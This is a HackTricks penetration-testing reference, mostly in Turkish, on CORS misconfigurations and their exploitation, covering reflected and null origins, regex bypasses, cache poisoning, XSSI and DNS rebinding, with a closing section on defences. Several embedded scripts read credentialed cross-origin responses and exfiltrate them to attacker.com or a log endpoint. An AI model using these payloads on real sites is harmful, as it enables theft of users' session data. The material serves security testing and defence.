CORS - Misconfigurations & Bypass

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

CORS nedir?

Cross-Origin Resource Sharing (CORS) standardı sunucuların varlıklarına kimlerin erişebileceğini tanımlamasına ve dış kaynaklardan hangi HTTP istek yöntemlerinin izinli olduğunu belirlemesine olanak tanır.

Bir same-origin politikası, bir kaynağı isteyen sunucu ile kaynağı barındıran sunucunun aynı protokolü (ör. http://), alan adını (ör. internal-web.com) ve portu (ör. 80) paylaşmasını zorunlu kılar. Bu politika altında, yalnızca aynı alan adı ve porttan gelen web sayfalarına kaynaklara erişim izni verilir.

Same-origin politikasının http://normal-website.com/example/example.html bağlamındaki uygulanışı aşağıda gösterilmiştir:

Erişilen URLErişim izinli mi?
http://normal-website.com/example/Evet: Aynı protokol, alan adı ve port
http://normal-website.com/example2/Evet: Aynı protokol, alan adı ve port
https://normal-website.com/example/Hayır: Farklı protokol ve port
http://en.normal-website.com/example/Hayır: Farklı alan adı
http://www.normal-website.com/example/Hayır: Farklı alan adı
http://normal-website.com:8080/example/Hayır: Farklı port*

*Internet Explorer, same-origin politikasını uygularken port numarasını dikkate almaz, bu nedenle bu erişime izin verir.

Access-Control-Allow-Origin Header

Bu başlık birden fazla origin’e, bir null değerine veya bir wildcard *’a izin verebilir. Ancak, hiçbir tarayıcı birden fazla origin’i desteklemez ve wildcard * kullanımı sınırlamalara tabidir. (Wildcard tek başına kullanılmalı ve Access-Control-Allow-Credentials: true ile birlikte kullanılamaz.)

Bu başlık, bir web sitesi tarafından başlatılan çapraz-alan kaynak isteğine yanıt olarak sunucu tarafından gönderilir; tarayıcı otomatik olarak Origin başlığını ekler.

Access-Control-Allow-Credentials Header

Varsayılan olarak, cross-origin istekler Authorization başlığı veya çerezler gibi kimlik bilgileri olmadan yapılır. Ancak, bir cross-domain sunucu, kimlik bilgileri gönderildiğinde yanıtın okunmasına izin vermek için Access-Control-Allow-Credentials başlığını true olarak ayarlayabilir.

Eğer true olarak ayarlanırsa, tarayıcı kimlik bilgilerini (çerezler, Authorization başlıkları veya TLS istemci sertifikaları) iletecektir.

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText)
}
}
xhr.open("GET", "http://example.com/", true)
xhr.withCredentials = true
xhr.send(null)

fetch(url, {
credentials: "include",
})

const xhr = new XMLHttpRequest()
xhr.open("POST", "https://bar.other/resources/post-here/")
xhr.setRequestHeader("X-PINGOTHER", "pingpong")
xhr.setRequestHeader("Content-Type", "application/xml")
xhr.onreadystatechange = handler
xhr.send("<person><name>Arun</name></person>")

CSRF Pre-flight isteği

Alanlar Arası İletişimde Pre-flight İsteklerini Anlamak

Belirli koşullar altında alanlar arası bir istek başlatırken — örneğin non-standard HTTP method kullanılması (HEAD, GET, POST dışındaki herhangi bir yöntem), yeni headers eklenmesi veya özel bir Content-Type header value kullanılması gibi — bir pre-flight isteği gerekebilir. Bu ön istek, OPTIONS yöntemiyle yapılır ve sunucuya yaklaşan cross-origin isteğinin niyetlerini (kullanılacak HTTP yöntemleri ve başlıklar dahil) bildirir.

Cross-Origin Resource Sharing (CORS) protokolü, izin verilen yöntemleri, başlıkları ve origin’in güvenilirliğini doğrulayarak istenen alanlar arası işlemin uygulanabilirliğini belirlemek için bu pre-flight kontrolünü zorunlu kılar. Pre-flight isteği gerekliliğini ortadan kaldıran koşulları ayrıntılı olarak öğrenmek için Mozilla Developer Network (MDN) tarafından sağlanan kapsamlı rehbere bakın.

Önemle belirtmek gerekir ki pre-flight isteğinin yokluğu, yanıtın authorization headers taşıma zorunluluğunu ortadan kaldırmaz. Bu başlıklar olmadan tarayıcı, alanlar arası isteğin yanıtını işleyemez.

Aşağıda PUT yöntemini kullanmayı ve Special-Request-Header adında özel bir header eklemeyi hedefleyen bir pre-flight isteğine örnek verilmiştir:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

Yanıt olarak sunucu, aşağıda gösterildiği gibi accepted methods, allowed origin ve diğer CORS policy detaylarını belirten headers döndürebilir:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
  • Access-Control-Allow-Headers: Bu header, gerçek istekte hangi header’ların kullanılabileceğini belirtir. Sunucu tarafından, istemciden gelen isteklere hangi header’ların izinli olduğunu göstermek için ayarlanır.
  • Access-Control-Expose-Headers: Bu header aracılığıyla sunucu, basit yanıt header’larının dışında yanıtın hangi header’larının istemciye açılabileceğini bildirir.
  • Access-Control-Max-Age: Bu header, pre-flight isteğinin sonuçlarının ne kadar süre önbelleğe alınabileceğini gösterir. Sunucu, pre-flight isteğinin döndürdüğü bilginin yeniden kullanılabileceği maksimum süreyi saniye cinsinden ayarlar.
  • Access-Control-Request-Headers: Pre-flight isteklerinde kullanılır; bu header, istemcinin gerçek istekte kullanmak istediği HTTP header’larını sunucuya bildirmek için ayarlanır.
  • Access-Control-Request-Method: Bu header da pre-flight isteklerinde kullanılır; istemci tarafından gerçek istekte hangi HTTP metodunun kullanılacağını belirtmek için ayarlanır.
  • Origin: Bu header tarayıcı tarafından otomatik olarak ayarlanır ve cross-origin isteğinin origin’ini gösterir. Sunucu tarafından, gelen isteğin CORS politikasına göre izin verilip verilmeyeceğini değerlendirmek için kullanılır.

Note that usually (depending on the content-type and headers set) in a GET/POST request no pre-flight request is sent (the request is sent directly), but if you want to access the headers/body of the response, it must contains an Access-Control-Allow-Origin header allowing it.
Bu nedenle, CORS, CSRF’ye karşı koruma sağlamaz (ama yardımcı olabilir).

Yerel Ağ İstekleri Pre-flight isteği

  1. Access-Control-Request-Local-Network: Bu header, istemcinin isteğinin yerel ağ kaynağına yönlendirildiğini belirtmek için isteğe dahil edilir. İsteğin yerel ağ içinden geldiğini sunucuya bildiren bir işaret görevi görür.
  2. Access-Control-Allow-Local-Network: Yanıt olarak sunucular bu header’ı kullanarak istenen kaynağın yerel ağ dışındaki varlıklarla paylaşılmasının izinli olduğunu bildirir. Bu, farklı ağ sınırları arasında kaynak paylaşımına izin veren bir onay görevi görür; kontrollü erişimi sağlarken güvenlik protokollerini korur.

A valid response allowing the local network request needs to have also in the response the header Access-Controls-Allow-Local_network: true :

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

Warning

Linux 0.0.0.0 IP’sinin, bu gereksinimleri bypass ederek localhost’a erişimde işe yaradığını unutmayın; çünkü bu IP adresi “local” olarak kabul edilmiyor.

Yerel bir endpoint’in public IP address’ini (ör. yönlendiricinin public IP’si gibi) kullanarak Local Network requirements’ı bypass etmek de mümkündür. Çünkü birçok durumda, public IP’ye erişim yapılsa bile, erişim local network’ten geliyorsa erişime izin verilecektir.

Wildcards

Aşağıdaki yapılandırma çok gevşek görünse bile unutmayın:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Bu tarayıcılar tarafından engellenir ve bu nedenle kimlik bilgileri bu istekte gönderilmeyecektir.

Sömürülebilir yanlış yapılandırmalar

Gözlemlenmiştir ki Access-Control-Allow-Credentials ayarının true olarak belirlenmesi çoğu gerçek saldırı için bir ön koşuldur. Bu ayar tarayıcının kimlik bilgilerini göndermesine ve yanıtı okumasına izin vererek saldırının etkinliğini artırır. Bunun olmaması durumunda, tarayıcının istekte bulunmasını sağlamakla kendinizin istekte bulunması arasındaki avantaj azalır; çünkü bir kullanıcının cookies’lerinden yararlanmak mümkün olmaz.

İstisna: Ağ Konumunu Kimlik Doğrulama Olarak Kullanma

Kurbanın ağ konumunun bir kimlik doğrulama biçimi olarak işlev gördüğü bir istisna vardır. Bu, kurbanın tarayıcısının bir proxy olarak kullanılmasına ve IP tabanlı kimlik doğrulamayı atlayarak intranet uygulamalarına erişilmesine olanak tanır. Bu yöntem etkisi açısından DNS rebinding ile benzerlik gösterir ancak sömürülmesi daha basittir.

Origin’ın Access-Control-Allow-Origin içinde yansıtılması

Origin header’ının değeri Access-Control-Allow-Origin içinde yansıtıldığında gerçek dünyada bunun gerçekleşmesi, bu header’ları birleştirmeye getirilen kısıtlamalar nedeniyle teorik olarak pek olası değildir. Ancak birden fazla URL için CORS’u etkinleştirmek isteyen geliştiriciler, Origin header’ının değerini kopyalayarak Access-Control-Allow-Origin header’ını dinamik olarak üretebilirler. Bu yaklaşım, özellikle saldırganın meşru görünmesi için tasarlanmış bir isim kullanan bir domain ile doğrulama mantığını kandırması durumunda zafiyetler ortaya çıkarabilir.

<script>
var req = new XMLHttpRequest()
req.onload = reqListener
req.open("get", "https://example.com/details", true)
req.withCredentials = true
req.send()
function reqListener() {
location = "/log?key=" + this.responseText
}
</script>

null Origin’in İstismarı

null origin, yönlendirmeler (redirects) veya yerel HTML dosyaları gibi durumlar için belirtilir ve benzersiz bir konuma sahiptir. Bazı uygulamalar yerel geliştirmeyi kolaylaştırmak için bu origin’i whitelist’e alır; bu da istemeden herhangi bir web sitesinin sandboxed iframe aracılığıyla null origin’i taklit etmesine ve böylece CORS kısıtlamalarını atlamasına izin verir.

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

Regular Expression Bypass Teknikleri

Bir domain whitelist’i ile karşılaşıldığında, whitelist’lenmiş bir domaine saldırganın domain’ini eklemek veya subdomain takeover açıklarından faydalanmak gibi bypass fırsatlarını test etmek çok önemlidir. Ayrıca domain doğrulaması için kullanılan regular expression’lar domain adlandırma kurallarındaki nüansları göz ardı edebilir ve ek bypass fırsatları ortaya çıkarabilir.

Gelişmiş Regular Expression Bypassları

Regex pattern’leri tipik olarak alfanumerik, nokta (.), ve tire (-) karakterlerine odaklanır, diğer olasılıkları ihmal eder. Örneğin, tarayıcılar ve regex pattern’leri tarafından farklı yorumlanan karakterler içerecek şekilde hazırlanmış bir domain adı, güvenlik kontrollerini bypass edebilir. Safari, Chrome ve Firefox’un subdomain’lerdeki alt çizgi (underscore) karakterlerine yönelik davranışı, bu tür uyuşmazlıkların domain doğrulama mantığını atlatmak için nasıl istismar edilebileceğini gösterir.

For more information and settings of this bypass check: https://www.corben.io/advanced-cors-techniques/ and https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png

Bir subdomain içindeki XSS’ten

Geliştiriciler genellikle bilgiyi talep etmeye izin verilen domainleri whitelist’leyerek CORS istismarına karşı savunma mekanizmaları uygularlar. Bu önlemlere rağmen sistemin güvenliği tam anlamıyla kusursuz değildir. Whitelist’lenmiş domainler içinde tek bir zayıf subdomain bile bulunması, XSS (Cross-Site Scripting) gibi diğer açıklıklar aracılığıyla CORS istismarına kapı açabilir.

Örneklemek için, requester.com domain’inin provider.com domain’inden kaynaklara erişmesine izin veren whitelist’lenmiş bir senaryoyu düşünün. Sunucu tarafı konfigürasyonu aşağı yukarı şöyle görünebilir:

if ($_SERVER["HTTP_HOST"] == "*.requester.com") {
// Access data
} else {
// Unauthorized access
}

Bu yapılandırmada, requester.com’un tüm alt alan adlarına erişim izni verilir. Ancak, bir alt alan adı, örneğin sub.requester.com, XSS zafiyetiyle ele geçirilmişse, bir saldırgan bu zayıflığı kullanabilir. Örneğin, sub.requester.com’a erişimi olan bir saldırgan XSS zafiyetini istismar ederek CORS politikalarını atlayabilir ve provider.com üzerindeki kaynaklara kötü amaçlı olarak erişebilir.

Özel Karakterler

PortSwigger’s URL validation bypass cheat sheet bazı tarayıcıların alan adları içinde garip karakterleri desteklediğini buldu.

Chrome ve Firefox, Origin header’ını doğrulamak için uygulanan regexes’i atlatabilen alt çizgi _ karakterini destekler:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application_.arbitrary.com

HTTP/2 200 OK
Access-Control-Allow-Origin: https://target.application_.arbitrary.com
Access-Control-Allow-Credentials: true

Safari, alan adında özel karakterleri kabul etmekte daha da gevşek davranıyor:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application}.arbitrary.com

HTTP/2 200 OK
Cookie: <session_cookie>
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
Access-Control-Allow-Credentials: true

Diğer ilginç URL hileleri

URL Format Bypass

Server-side cache poisoning

Bu araştırmadan

HTTP header injection yoluyla server-side cache poisoning kullanılarak stored Cross-Site Scripting (XSS) vulnerability tetiklenebilir. Bu senaryo, bir uygulama Origin header’ını yasadışı karakterler için temizlemediğinde ortaya çıkar ve özellikle Internet Explorer ile Edge kullanıcılarını etkiler. Bu tarayıcılar (0x0d)’i geçerli bir HTTP header terminatorü olarak kabul eder; bu da HTTP header injection vulnerabilities ile sonuçlanır.

Aşağıdaki isteği düşünün; burada Origin header’ı değiştirilmiştir:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer ve Edge yanıtı şöyle yorumlar:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

Bir web tarayıcısının hatalı bir header göndermesini sağlayarak bu zafiyeti doğrudan exploit etmek mümkün olmasa da, Burp Suite gibi araçlarla elle bir crafted request oluşturulabilir. Bu yöntem, server-side cache’in yanıtı kaydetmesine ve kazayla başkalarına sunmasına yol açabilir. Crafted payload sayfanın karakter setini UTF-7 olarak değiştirmeyi hedefler; UTF-7, belirli bağlamlarda karakterleri script olarak çalıştırılabilecek şekilde encode etme yeteneği nedeniyle sıklıkla XSS zafiyetleriyle ilişkilendirilir.

Stored XSS vulnerabilities hakkında daha fazla okumak için bkz. PortSwigger.

Not: HTTP header injection vulnerabilities’ın exploit edilmesi, özellikle server-side cache poisoning yoluyla, tüm kullanıcı tarafından sağlanan girdilerin (HTTP headers dahil) doğrulanmasının ve temizlenmesinin kritik önemini vurgular. Bu tür zafiyetleri önlemek için girdi doğrulama içeren sağlam bir security model kullanın.

Client-Side cache poisoning

From this research

Bu senaryoda, özel bir HTTP header’ının içeriğini uygun şekilde encode etmeden yansıtan bir web sayfası örneği gözlemlenmiştir. Özellikle, web sayfası X-User-id header’ına eklenen içeriği geri yansıtmaktadır; bu içerik kötü amaçlı JavaScript barındırabilir — örnekte header’ın load sırasında JavaScript çalıştırmak için hazırlanmış bir SVG image tag içerdiği gösterilmiştir.

Cross-Origin Resource Sharing (CORS) politikaları custom headers gönderilmesine izin verir. Ancak, CORS kısıtlamaları nedeniyle yanıt tarayıcı tarafından doğrudan render edilmediğinde böyle bir injection’ın faydası sınırlı görünebilir. Kritik nokta tarayıcının cache davranışına bakıldığında ortaya çıkar. Eğer Vary: Origin header’ı belirtilmemişse, kötü amaçlı yanıtın tarayıcı tarafından cache’lenmesi mümkün olabilir. Sonrasında bu cache’lenmiş yanıt, URL’e gidildiğinde doğrudan render edilebilir ve başlangıçtaki istekte doğrudan render edilme ihtiyacını atlar. Bu mekanizma, client-side caching’i kullanarak saldırının güvenilirliğini artırır.

Bu saldırıyı göstermek için, bir web sayfası ortamında (ör. JSFiddle) çalıştırılmak üzere tasarlanmış bir JavaScript örneği verilir. Bu script basit bir eylem yapar: kötü amaçlı JavaScript içeren custom header ile belirli bir URL’e istek gönderir. İstek başarıyla tamamlandığında, hedef URL’e gitmeyi dener; eğer yanıt Vary: Origin header’ı düzgün işlenmeden cache’lenmişse bu durum injected script’in çalışmasını tetikleyebilir.

İşte bu saldırıyı gerçekleştirmek için kullanılan JavaScript’in özetlenmiş bir dökümü:

<script>
function gotcha() {
location = url
}
var req = new XMLHttpRequest()
url = "https://example.com/" // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha
req.open("get", url, true)
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
req.send()
</script>

Bypass

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, Cross-Site Script Inclusion olarak da bilinir, Same Origin Policy (SOP) script tag ile kaynak dahil edilirken SOP uygulanmadığı gerçeğinden faydalanan bir zafiyettir. Bunun nedeni scriptlerin farklı domainlerden dahil edilebilmesidir. Bu zafiyet, script tag ile dahil edilen herhangi bir içeriğe bir saldırganın erişip okuyabilmesine olanak tanır.

Bu zafiyet, dynamic JavaScript veya JSONP (JSON with Padding) söz konusu olduğunda ve özellikle cookie gibi ambient-authority bilgiler kimlik doğrulama için kullanıldığında daha kritik hale gelir. Farklı bir hosttan bir kaynak istendiğinde, cookie’ler gönderilir ve saldırganın erişimine açık olur.

Bu zafiyeti daha iyi anlamak ve hafifletmek için BurpSuite eklentisini kullanabilirsiniz: https://github.com/kapytein/jsonp. Bu eklenti, web uygulamalarınızdaki potansiyel XSSI zafiyetlerini tespit etmeye ve düzeltmeye yardımcı olabilir.

XSSI’nin farklı türleri ve bunların nasıl istismar edileceği hakkında daha fazlasını burada okuyun.

İsteğe bir callback parametresi eklemeyi deneyin. Belki sayfa veriyi JSONP olarak göndermeye hazırlanmıştır. Böyle bir durumda sayfa Content-Type: application/javascript ile veriyi geri dönecek ve bu CORS politikasını atlatacaktır.

Easy (useless?) bypass

Access-Control-Allow-Origin kısıtlamasını atlatmanın bir yolu, bir web uygulamasından sizin adınıza bir istek yapmasını ve cevabı geri göndermesini istemektir. Ancak bu durumda, istek farklı bir domaine yapıldığı için nihai kurbanın kimlik bilgileri gönderilmeyecektir.

  1. CORS-escape: Bu araç, isteğinizi ve başlıklarını ileten bir proxy sağlar ve Origin başlığını istenen domain ile eşleyecek şekilde taklit eder. Bu, CORS politikasını etkili bir şekilde atlatır. İşte XMLHttpRequest ile örnek kullanım:
  2. simple-cors-escape: Bu araç, istekleri proxylemek için alternatif bir yaklaşım sunar. İsteğinizi birebir iletmek yerine, sunucu belirtilen parametrelerle kendi isteğini yapar.

Iframe + Popup Bypass

e.origin === window.origin gibi CORS kontrollerini bir iframe oluşturup ve ondan yeni bir pencere açarak bypass edebilirsiniz. Daha fazla bilgi aşağıdaki sayfada:

Iframes in XSS, CSP and SOP

DNS Rebinding via TTL

TTL üzerinden DNS rebinding, DNS kayıtlarını manipüle ederek belirli güvenlik önlemlerini atlatmak için kullanılan bir tekniktir. İşleyişi şöyledir:

  1. Saldırgan bir web sayfası oluşturur ve kurbanın ona erişmesini sağlar.
  2. Ardından saldırgan kendi domaininin DNS (IP) kaydını kurbanın web sayfasına işaret edecek şekilde değiştirir.
  3. Kurbanın tarayıcısı DNS yanıtını önbelleğe alır; bu yanıtta TTL (Time to Live) değeri olabilir ve DNS kaydının ne kadar süre geçerli sayılması gerektiğini belirtir.
  4. TTL süresi dolduğunda, kurbanın tarayıcısı yeni bir DNS isteği yapar ve saldırgan kurbanın sayfasında JavaScript çalıştırabilir.
  5. Kurbanın IP’si üzerinde kontrol sağlanarak, saldırgan kurban sunucusuna herhangi bir cookie göndermeden kurbandan bilgi toplayabilir.

Tarayıcıların önbellekleme mekanizmalarının bu tekniğin hemen istismarını engelleyebileceğini, düşük TTL değerlerine rağmen gecikmeler olabileceğini unutmamak önemlidir.

DNS rebinding, kurban tarafından yapılan açık IP kontrollerini atlatmak veya bir kullanıcı/botun uzun süre aynı sayfada kalması gibi senaryolarda önbelleğin süresi dolduğunda istismar etmek için faydalı olabilir.

Hızlı bir şekilde DNS rebinding istismarı yapmak isterseniz https://lock.cmpxchg8b.com/rebinder.html gibi servisleri kullanabilirsiniz.

Kendi DNS rebinding sunucunuzu çalıştırmak için DNSrebinder (https://github.com/mogwailabs/DNSrebinder) gibi araçları kullanabilirsiniz. Bu, yerel 53/udp portunuzu açmayı, bir A kaydı oluşturmayı (ör. ns.example.com) ve önceki oluşturulan A alt domainine işaret eden bir NS kaydı oluşturmayı içerir. ns.example.com altındaki herhangi bir alt domain daha sonra hostunuz tarafından çözümlenir.

Ayrıca daha fazla deneyim için http://rebind.it/singularity.html üzerinde çalışan açık bir sunucuyu keşfedebilirsiniz.

DNS Rebinding via DNS Cache Flooding

DNS cache flooding ile DNS rebinding, tarayıcıların önbellekleme mekanizmasını atlatıp ikinci bir DNS isteği zorlamak için kullanılan başka bir tekniktir. İşleyişi şöyledir:

  1. Başlangıçta, kurban DNS isteği yaptığında saldırganın IP adresiyle yanıt verilir.
  2. Önbellek savunmasını atlatmak için saldırgan bir service worker kullanır. Service worker, DNS önbelleğini doldurur ve böylece önbellekteki saldırgan sunucu adını etkili bir şekilde siler.
  3. Kurbanın tarayıcısı ikinci bir DNS isteği yaptığında, bu sefer yanıt 127.0.0.1 gibi bir adres (genellikle localhost) ile verilir.

Service worker ile DNS önbelleğini doldurarak saldırgan DNS çözümleme sürecini manipüle edebilir ve kurban tarayıcısının ikinci isteği istenen IP’ye yönlendirmesini sağlayabilir.

DNS Rebinding via Cache

Önbellek savunmasını atlatmanın bir diğer yolu, DNS sağlayıcısında aynı subdomain için birden fazla IP adresi kullanmaktır. İşleyişi şöyledir:

  1. Saldırgan DNS sağlayıcısında aynı subdomain için iki A kaydı (veya tek A kaydı içinde iki IP) ayarlar.
  2. Tarayıcı bu kayıtları kontrol ettiğinde her iki IP adresini de alır.
  3. Tarayıcı saldırganın IP adresini ilk olarak kullanmaya karar verirse, saldırgan aynı domain üzerinde HTTP istekleri yapan bir payload sunabilir.
  4. Ancak saldırgan kurbanın IP adresini elde edince, kurbanın tarayıcısına yanıt vermeyi keser.
  5. Tarayıcı domainin yanıt vermez olduğunu fark edip listede verilen ikinci IP adresini kullanmaya geçer.
  6. İkinci IP adresine erişilerek Same Origin Policy (SOP) atlatılır ve saldırgan bunun üzerinden bilgi toplayıp dışarı sızdırabilir.

Bu teknik, bir domain için birden fazla IP adresi sağlandığında tarayıcıların davranışını kullanır. Yanıtları stratejik olarak kontrol edip tarayıcının kullanacağı IP’yi manipüle ederek, bir saldırgan SOP’yi istismar edebilir ve kurbandan bilgi alabilir.

Warning

Note that in order to access localhost you should try to rebind 127.0.0.1 in Windows and 0.0.0.0 in linux.
Providers such as godaddy or cloudflare didn’t allow me to use the ip 0.0.0.0, but AWS route53 allowed me to create one A record with 2 IPs being one of them “0.0.0.0”

Daha fazla bilgi için https://unit42.paloaltonetworks.com/dns-rebinding/ adresini kontrol edebilirsiniz.

Other Common Bypasses

  • Eğer internal IP’ler izinli değilse, 0.0.0.0’ı yasaklamayı unutmuş olabilirler (Linux ve Mac üzerinde çalışır)
  • Eğer internal IP’ler izinli değilse, yanıt olarak localhost’a CNAME dönebilirsiniz (Linux ve Ma)
  • Eğer internal IP’ler DNS yanıtları olarak izinli değilse, www.corporate.internal gibi internal servisleri işaret eden CNAME dönebilirsiniz.

DNS Rebidding Weaponized

Önceki bypass teknikleri ve aşağıdaki aracın nasıl kullanılacağı hakkında daha fazla bilgi için Gerald Doussot’un konuşmasını izleyebilirsiniz: Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference.

Singularity of Origin DNS rebinding saldırılarını gerçekleştirmek için bir araçtır. Saldırgan sunucu DNS adının IP adresini hedef makinenin IP adresine yeniden bağlamak ve hedef makinedeki savunmasız yazılımları istismar etmek için gerekli bileşenleri içerir.

DNS Rebinding over DNS-over-HTTPS (DoH)

DoH, klasik RFC1035 DNS wire formatını HTTPS içine tüneller (genellikle Content-Type: application/dns-message ile bir POST). Resolver hala aynı resource record’larla yanıt verir, bu yüzden SOP’yi bozan teknikler tarayıcılar saldırgan kontrollü hostname’i TLS üzerinden çözümlese bile çalışmaya devam eder.

Key observations

  • Chrome (Windows/macOS) ve Firefox (Linux), Cloudflare, Google veya OpenDNS DoH resolver’ları için yapılandırıldığında başarılı şekilde rebind olur. Taşıma katmanındaki şifreleme, first-then-second, multiple-answers veya DNS cache flooding stratejileri için saldırı akışını ne geciktirir ne de engeller.
  • Public resolver’lar yine de her sorguyu görür, ancak tarayıcının uyması gereken host-to-IP eşleştirmesini nadiren zorlarlar. Yetkili sunucu rebinding dizisini döndürdüğünde, tarayıcı yeni IP’ye bağlanırken orijinal origin tuple’ını korur.

Singularity strategies and timing over DoH

  • First-then-second en güvenilir seçenek olmaya devam eder: ilk lookup saldırgan IP’sini döndürür ve payload’u sunar, sonraki tüm lookuplar internal/localhost IP’sini döndürür. Tipik tarayıcı DNS önbellekleriyle bu trafik ~40–60 saniye içinde tersine döner, recursive resolver sadece HTTPS üzerinden erişilebilir olsa bile.
  • Multiple answers (fast rebinding), iki A kaydıyla (saldırgan IP’si + Linux/macOS için 0.0.0.0 veya Windows için 127.0.0.1) yanıt verip ilk IP’yi programlı olarak blackhole yaparak (ör. iptables -I OUTPUT -d <attacker_ip> -j DROP) sayfa yüklendikten kısa süre sonra localhost’a ulaşır (<3 saniye). Firefox’un DoH uygulaması tekrar eden DNS sorguları üretebilir, bu yüzden Singularity çözümü zamanlayıcıyı her sorguda yenilemek yerine ilk sorgu zaman damgasına göre firewall kuralını planlamaktır.

Beating “rebind protection” in DoH providers

  • Bazı sağlayıcılar (ör. NextDNS) private/loopback yanıtlarmı 0.0.0.0 ile değiştirir, ancak Linux ve macOS bu hedefi local servislere yönlendirir. Bu nedenle ikinci kayıt olarak kasıtlı 0.0.0.0 döndürmek yine origin’i localhost’a çevirebilir.
  • Sadece direkt A/AAAA yanıtını filtrelemek etkisizdir: internal-only hostname’e bir CNAME döndürmek, public DoH resolver’ın alias’ı iletmesine neden olurken Firefox gibi tarayıcılar internal zone için sistem DNS’e geri döner ve private IP’ye çözümlemeyi tamamlar; bu da hâlâ saldırgan origin’i olarak kabul edilir.

Browser-specific DoH behavior

  • Firefox DoH fallback modunda çalışır: herhangi bir DoH hatası (çözümlenmemiş CNAME hedefi dahil) OS resolver üzerinden plaintext lookup’u tetikler; bu genellikle internal namespace’i bilen enterprise DNS sunucusudur. Bu davranış, CNAME bypass’ını kurumsal ağlar içinde güvenilir kılar.
  • Chrome DoH sadece OS DNS, whitelisted DoH-capable recursive resolver’lara (Cloudflare, Google, Quad9 vb.) işaret ettiğinde aktif olur ve aynı fallback zincirini sağlamaz. Yalnızca kurumsal DNS’te var olan internal hostnames çözümlenemez, ancak localhost veya yönlendirilebilir bir adrese rebind etmek yine başarılı olur çünkü saldırgan tüm yanıt setini kontrol eder.

Testing and monitoring DoH flows

  • Firefox: Settings ➜ Network Settings ➜ Enable DNS over HTTPS ve DoH endpoint sağlayın (Cloudflare ve NextDNS yerleşik). Chrome/Chromium: chrome://flags/#dns-over-https etkinleştirin ve OS DNS sunucularını Chrome’un desteklediği resolver’lardan birine ayarlayın (ör. 1.1.1.1/1.0.0.1).
  • Public DoH API’lerini doğrudan sorgulayabilirsiniz, örn. curl -H 'accept: application/dns-json' 'https://cloudflare-dns.com/dns-query?name=example.com&type=A' | jq ile tarayıcıların önbelleğe alacağı kesin kayıtları doğrulayın.
  • DoH’yi Burp/ZAP ile intercept etmek hâlâ işe yarar çünkü bu sadece HTTPS’dir (gövdesinde ikili DNS payload). Paket seviyesinde inceleme için TLS anahtarlarını (export SSLKEYLOGFILE=~/SSLKEYLOGFILE.txt) dışa aktarın, tarayıcıyı başlatın ve Wireshark ile dns display filter kullanarak DoH oturumlarını deşifre edin; böylece tarayıcının DoH’de kaldığı veya klasik DNS’e geri döndüğü zamanları görebilirsiniz.

Real Protection against DNS Rebinding

  • Internal servislerde TLS kullanın
  • Veriye erişim için kimlik doğrulama isteyin
  • Host header’ı doğrulayın
  • https://wicg.github.io/private-network-access/: Public sunucuların internal sunuculara erişmek istediğinde her zaman pre-flight isteği göndermesini öneren öneri

Tools

CORS politikalarındaki olası yanlış konfigürasyonları fuzz edin

References

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin